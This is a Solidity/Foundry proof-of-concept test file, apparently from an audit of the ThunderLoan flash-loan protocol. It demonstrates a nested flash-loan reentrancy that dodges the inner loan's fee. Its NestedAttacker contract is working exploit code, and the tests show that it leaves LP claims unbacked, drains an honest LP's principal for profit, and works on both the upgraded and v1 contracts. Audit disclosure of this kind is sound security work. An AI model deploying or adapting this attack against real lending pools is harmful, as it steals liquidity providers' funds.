test/PoC_TL-04.t.sol deploys ThunderLoanUpgraded behind an ERC1967 proxy with a 1000e18 pool and a mock price of 1e18. The last test does the same with ThunderLoan. NestedAttacker takes a 10e18 outer loan, opens a 990e18 inner loan inside the callback, repays the inner leg with repay() and repays the outer leg by transferring only the shortfall. The tests assert five things: a single honest loan is fully backed (baseline); the attacker's net cost equals the outer fee f1 (0.03e18) while the rate is credited f1 + f2; LP claims exceed pool assets by more than 0.99 * f2; a 50% co-LP who redeems first ends richer while the pool falls below the honest LP's 500e18 stake; and v1 takes the same nested path at the same cost. Run it with forge test --match-path test/PoC_TL-04.t.sol -vv.
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
interface ITL {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function repay(IERC20 token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
}
contract HonestReceiver {
ITL private immutable tl;
constructor(ITL _tl) {
tl = _tl;
}
function borrow(IERC20 token, uint256 amount) external {
tl.flashloan(address(this), token, amount, "");
}
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
IERC20(token).approve(address(tl), amount + fee);
tl.repay(IERC20(token), amount + fee);
return true;
}
}
contract NestedAttacker {
ITL private immutable tl;
IERC20 private immutable token;
uint256 private outerAmount;
uint256 private outerRequiredEnd;
constructor(ITL _tl, IERC20 _token) {
tl = _tl;
token = _token;
}
function depositLP(uint256 amount) external {
token.approve(address(tl), amount);
tl.deposit(token, amount);
}
function redeemMax() external {
tl.redeem(token, type(uint256).max);
}
function attack(uint256 outer, uint256 inner) external {
outerAmount = outer;
_inner = inner;
tl.flashloan(address(this), token, outer, "");
}
uint256 private _inner;
function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
require(msg.sender == address(tl), "only TL");
AssetToken at = tl.getAssetFromToken(IERC20(_token));
if (amount == outerAmount) {
uint256 poolAtEntry = IERC20(_token).balanceOf(address(at));
outerRequiredEnd = poolAtEntry + amount + fee;
tl.flashloan(address(this), IERC20(_token), _inner, "");
uint256 owed = outerRequiredEnd - IERC20(_token).balanceOf(address(at));
IERC20(_token).transfer(address(at), owed);
} else {
IERC20(_token).approve(address(tl), amount + fee);
tl.repay(IERC20(_token), amount + fee);
}
return true;
}
}
contract PoC_TL04 is Test {
MockPoolFactory internal poolFactory;
ERC20Mock internal token;
uint256 internal constant POOL = 1000e18;
uint256 internal constant OUTER = 10e18;
uint256 internal constant INNER = 990e18;
function setUp() public {
poolFactory = new MockPoolFactory();
token = new ERC20Mock();
poolFactory.createPool(address(token));
}
function _deployUpgraded() internal returns (ITL) {
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
ThunderLoanUpgraded(address(proxy)).initialize(address(poolFactory));
ITL tl = ITL(address(proxy));
ThunderLoanUpgraded(address(proxy)).setAllowedToken(token, true);
return tl;
}
function _deployV1() internal returns (ITL) {
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
ThunderLoan(address(proxy)).initialize(address(poolFactory));
ITL tl = ITL(address(proxy));
ThunderLoan(address(proxy)).setAllowedToken(token, true);
return tl;
}
function _seedLP(ITL tl, uint256 amount) internal {
token.mint(address(this), amount);
token.approve(address(tl), amount);
tl.deposit(token, amount);
}
function _claims(ITL tl) internal view returns (uint256) {
AssetToken at = tl.getAssetFromToken(token);
return at.totalSupply() * at.getExchangeRate() / at.EXCHANGE_RATE_PRECISION();
}
function _poolBal(ITL tl) internal view returns (uint256) {
return token.balanceOf(address(tl.getAssetFromToken(token)));
}
function test_Baseline_SingleLoanFeeIsBacked() public {
ITL tl = _deployUpgraded();
_seedLP(tl, POOL);
uint256 poolBefore = _poolBal(tl);
uint256 claimsBefore = _claims(tl);
HonestReceiver r = new HonestReceiver(tl);
uint256 fee = tl.getCalculatedFee(token, INNER);
token.mint(address(r), fee);
r.borrow(token, INNER);
uint256 poolAfter = _poolBal(tl);
uint256 claimsAfter = _claims(tl);
assertEq(poolAfter - poolBefore, fee, "real pool growth == fee");
assertApproxEqAbs(claimsAfter - claimsBefore, fee, 1, "claims grew by exactly the fee");
assertGe(poolAfter, claimsAfter, "solvent: assets cover claims");
console.log("baseline fee paid & backed:", fee);
}
function test_NestedLoan_EvadesFeeAndCreatesUnbackedYield() public {
ITL tl = _deployUpgraded();
_seedLP(tl, POOL);
uint256 f1 = tl.getCalculatedFee(token, OUTER);
uint256 f2 = tl.getCalculatedFee(token, INNER);
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = 1e18;
token.mint(address(atk), seed);
uint256 poolBefore = _poolBal(tl);
uint256 claimsBefore = _claims(tl);
atk.attack(OUTER, INNER);
uint256 poolAfter = _poolBal(tl);
uint256 claimsAfter = _claims(tl);
uint256 netCost = seed - token.balanceOf(address(atk));
assertEq(netCost, f1, "attacker net outlay is exactly the outer fee");
assertLt(netCost, f2, "net outlay far below the evaded inner fee");
uint256 honestFeeForSameLiquidity = tl.getCalculatedFee(token, OUTER + INNER);
assertLt(netCost * 90, honestFeeForSameLiquidity, "evaded >~99% of the fair fee");
assertApproxEqAbs(claimsAfter - claimsBefore, f1 + f2, 1e15, "claims credited f1+f2");
assertEq(poolAfter - poolBefore, f1, "real tokens received == f1 only");
assertGt(claimsAfter, poolAfter, "protocol is insolvent");
uint256 shortfall = claimsAfter - poolAfter;
assertGt(shortfall, (f2 * 99) / 100, "shortfall ~= the unpaid inner fee f2");
console.log("f1 (paid) :", f1);
console.log("f2 (credited,unpaid):", f2);
console.log("attacker net cost :", netCost);
console.log("claims minted :", claimsAfter);
console.log("assets held :", poolAfter);
console.log("insolvency gap :", shortfall);
}
function test_NestedLoan_StealsHonestLPPrincipal() public {
ITL tl = _deployUpgraded();
AssetToken at = tl.getAssetFromToken(token);
address honestLP = makeAddr("honestLP");
uint256 lpStake = 500e18;
token.mint(honestLP, lpStake);
vm.startPrank(honestLP);
token.approve(address(tl), lpStake);
tl.deposit(token, lpStake);
vm.stopPrank();
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = lpStake + 1e18;
token.mint(address(atk), seed);
atk.depositLP(lpStake);
assertEq(_poolBal(tl), 2 * lpStake, "pool = 1000e18 from two equal LPs");
assertEq(at.getExchangeRate(), at.EXCHANGE_RATE_PRECISION(), "rate 1e18 before attack");
atk.attack(OUTER, INNER);
atk.redeemMax();
uint256 attackerFinal = token.balanceOf(address(atk));
assertGt(attackerFinal, seed, "attacker ends richer than it started");
uint256 poolLeft = _poolBal(tl);
assertLt(poolLeft, lpStake, "honest LP cannot recover its 500e18 principal");
console.log("attacker seed :", seed);
console.log("attacker final :", attackerFinal);
console.log("attacker profit :", attackerFinal - seed);
console.log("pool left for LP:", poolLeft);
console.log("honest LP stake :", lpStake);
}
function test_NestedReentry_AlsoWorksOnV1() public {
ITL tl = _deployV1();
_seedLP(tl, POOL);
uint256 f1 = tl.getCalculatedFee(token, OUTER);
NestedAttacker atk = new NestedAttacker(tl, token);
uint256 seed = 1e18;
token.mint(address(atk), seed);
atk.attack(OUTER, INNER);
uint256 netCost = seed - token.balanceOf(address(atk));
assertEq(netCost, f1, "v1 also lets the attacker pay only the outer fee");
console.log("v1 attacker net cost:", netCost);
console.log("v1 outer fee f1 :", f1);
}
}